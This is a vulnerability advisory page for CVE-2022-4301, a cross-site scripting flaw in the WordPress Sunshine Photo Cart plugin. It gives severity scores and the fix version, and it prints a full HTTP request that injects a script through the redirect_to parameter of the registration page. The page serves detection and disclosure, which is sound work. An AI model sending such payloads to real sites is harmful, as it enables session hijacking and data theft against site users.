🔙 목록으로 돌아가기

CVE-2022-4301: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting

TitleWordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in version 2.9.15.
CVSS Score6.1
EPSS Score0.14279
CVE IDCVE-2022-4301
CWE IDCWE-79
Tags cve2022 cve xss sunshine wordpress wp-plugin wpscan unauth sunshinephotocart vuln

🔍 Vulnerability Description

WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

GET /wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4301.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4301.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A